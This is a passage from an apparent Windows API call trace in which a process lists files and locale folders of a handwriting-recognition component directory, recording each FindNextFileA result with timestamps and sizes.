ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa62, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsfin.xml", cAlternateFileName="")) returned 1 [0119.177] GetLastError () returned 0x0 [0119.177] GetLastError () returned 0x0 [0119.177] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa44, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsfra.xml", cAlternateFileName="")) returned 1 [0119.178] GetLastError () returned 0x0 [0119.178] GetLastError () returned 0x0 [0119.178] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9e4, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipshe.xml", cAlternateFileName="")) returned 1 [0119.178] GetLastError () returned 0x0 [0119.178] GetLastError () returned 0x0 [0119.178] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d6, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipshi.xml", cAlternateFileName="")) returned 1 [0119.178] GetLastError () returned 0x0 [0119.178] GetLastError () returned 0x0 [0119.178] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa5c, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipshrv.xml", cAlternateFileName="")) returned 1 [0119.178] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x325ee70, Size=0xe8) returned 0x33d1560 [0119.178] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d14d081, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d14d081, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d14d081, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa0a, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsid.xml", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9de, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsita.xml", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9da, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsjpn.xml", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipskor.xml", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe462e472, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe462e472, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="IpsMigrationPlugin.dll", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa42, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsnld.xml", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa14, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsnor.xml", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d100bae, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d100bae, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d100bae, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa28, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsplk.xml", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x1ec00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="IpsPlugin.dll", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c6, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsptb.xml", cAlternateFileName="")) returned 1 [0119.179] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c96711d, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c96711d, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c96711d, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1 [0119.180] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x33d1560, Size=0x120) returned 0x2c37020 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c940eb6, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7c940eb6, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7c940eb6, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7d126e12, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7d126e12, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ipstr.xml", cAlternateFileName="")) returned 1 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0769b1e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0119.180] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0119.181] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0119.181] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0119.181] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0119.181] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0119.181] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x463d4edd, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0xc2004e62, ftLastAccessTime.dwHighDateTime=0x1d2fa0a, ftLastWriteTime.dwLowDateTime=0x463d4edd, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x7b000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="Microsoft.Ink.dll", cAlternateFileName="")) returned 1 [0119.181] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd51e08b5, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd51e08b5, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x178200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mip.exe", cAlternateFileName="")) returned 1 [0119.181] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2c37020, Size=0x160) returned 0x382ddf8 [0119.181] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a1d507, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xde1acd8d, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xde1acd8d, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x612e00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mraut.dll", cAlternateFileName="")) returned 1 [0119.181] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c3a52f7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3c3a52f7, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3c3a52f7, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc800, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mshwgst.dll", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe3805ad4, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe3805ad4, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x106a00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="mshwLatin.dll", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076bff5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="nb-NO", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e0f5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ro-RO", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e38953f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e38953f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e38953f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="rtscom.dll", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e4d1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ru-RU", cAlternateFileName="")) returned 1 [0119.182] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb3200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="ShapeCollector.exe", cAlternateFileName="")) returned 1 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080e8a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sk-SK", cAlternateFileName="")) returned 1 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ec25, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sl-SI", cAlternateFileName="")) returned 1 [0119.183] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa08c7ae2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="sr-Latn-RS", 